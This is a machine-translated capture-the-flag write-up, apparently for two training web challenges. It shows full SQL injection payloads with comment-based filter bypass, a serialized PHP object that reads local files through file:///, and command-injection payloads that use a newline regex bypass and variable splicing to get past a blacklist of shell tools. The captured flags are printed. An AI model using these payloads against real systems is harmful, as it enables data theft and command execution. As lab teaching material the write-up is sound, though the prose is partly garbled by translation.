[attack and defense world web] difficulty Samsung 9-point introductory question (end): Fakebook, favorite_ number

Catalog

7、 ... and 、fakebook

How to solve the problem ：

The process ：

8、 ... and 、favorite_number

How to solve the problem ：

The process ：

---

7、 ... and 、fakebook

 

How to solve the problem ：

1、 Look for the injection point , Found deserialization function , And serialized content , Guess the file location

The process ：

see robots.txt file

It is found that it is a backup file

---

Regular matching ： stay blog To match to https://

---

Now go to register

This 1 Can point

  It was found that the transmission was carried out

---

Consider whether there is ：

Inject

File contains

Fake protocol

…… 

---

  Input single quotation mark error  

But it cannot be closed

Try another way

add and 1=1

（ Echo normal ）

  Input and 1=2

（ Report errors ）

  There are injection points

---

Check the number of fields

order by 4

（ Echo normal ）

 order by 5

（ Report errors ）

So there is 4 A field

---

Judge the echo point

  Try to bypass

/**/union/**/ select /**/1,2,3,4

  Find out 2 Is echo point

---

Burst the database

/**/union/**/ select/**/ 1,database(),3,4

  The database for fakebook

 

---

  Explosion meter

-1 /**/union /**/ select/**/ 1,group_concat(table_name) ,3,4 from information_schema.tables where table_schema=database()#

To obtain the users surface

---

Pop field

 -1 /**/union /**/ select/**/ 1,group_concat(column_name) ,3,4 from information_schema.columns where table_schema="fakebook"#

---

Burst data

-1 /**/union /**/ select/**/ 1,group_concat(no,'~',data) ,3,4 from fakebook.users#

  No useful information

Suddenly focus on the deserialization function , And this path has appeared many times

 

---

File path

/var/www/html/view.php

that flag The path of may also be

/var/www/html/flag.php

Because there is a deserialization function , So we should inject serialization statements

---

Use file:/// Protocol to access local computer files

-1 /**/union /**/ select /**/1,2 ,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#

 

But it doesn't show flag.php Content

quite a lot flag None of them , And in the source code ,Ctrl+U View source code  

Found a paragraph base64 Encrypted characters

PD9waHANCg0KJGZsYWcgPSAiZmxhZ3tjMWU1NTJmZGY3NzA0OWZhYmY2NTE2OGYyMmY3YWVhYn0iOw0KZXhpdCgwKTsNCg==

Decrypted as

flag{c1e552fdf77049fabf65168f22f7aeab}

---

---

8、 ... and 、favorite_number

 

How to solve the problem ：

1、 Source code analysis , Bypass the filter ,flag Find a way

The process ：

After entering, it is php Code

Code 1： Array

Use $_POST["stuff"] Receive array

And limit $stuff[0] != 'admin'

Array index overflow can be used to bypass

stuff[2^32]=admin

$stuff = $_POST["stuff"];
$array = ['admin', 'user'];
if($stuff === $array && $stuff[0] != 'admin') { 
    $num= $_POST["num"]; 

---

Code 2： Regular matching

"/^\d+$/im"： Match a string of numbers , No other characters are allowed

/m： Multi-line matching , One line matches successfully ,preg_match return true

A newline ：0x0a（ascii code ）,%0a（URL code ）

 if (preg_match("/^\d+$/im",$num)){ 

---

Code 3： Filter keywords

 if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){ 

---

1、 Array ： Numeric subscript overflow bypasses

2、 Regular matching ：%0a Multi line bypass

3、 Keyword filtering ： You can splice other commands &&（ascii code 0x26,URL code %26）

structure payload：

stuff[4294967296]=admin&stuff[1]=user&num=123%0als
 

---

Use bp Grab the bag

  Found through HackBar The submitted content is encoded

 

---

Use bp Change it back to the original payload

And then send

 

---

Start looking for flag

Look first flag Of inode Index point of

payload：

stuff[4294967296]=admin&stuff[1]=user&num=123%0als -i /

Re pass HackBar Submit , Change the package again

 18497049 flag

---

Read flag

payload：

stuff[4294967296]=admin&stuff[1]=user&num=123%0atac `find / -inum 18497049`

Re pass HackBar Submit , Change the package again

  It's overtime

---

Another way

Because there is no filter $, Try splicing with variables

payload：

stuff[4294967296]=admin&stuff[1]=user&num=1%0aa=f;b=lag;tac /$a$b;

 cyberpeace{7d870124ba11eacef73c2c409588eadf}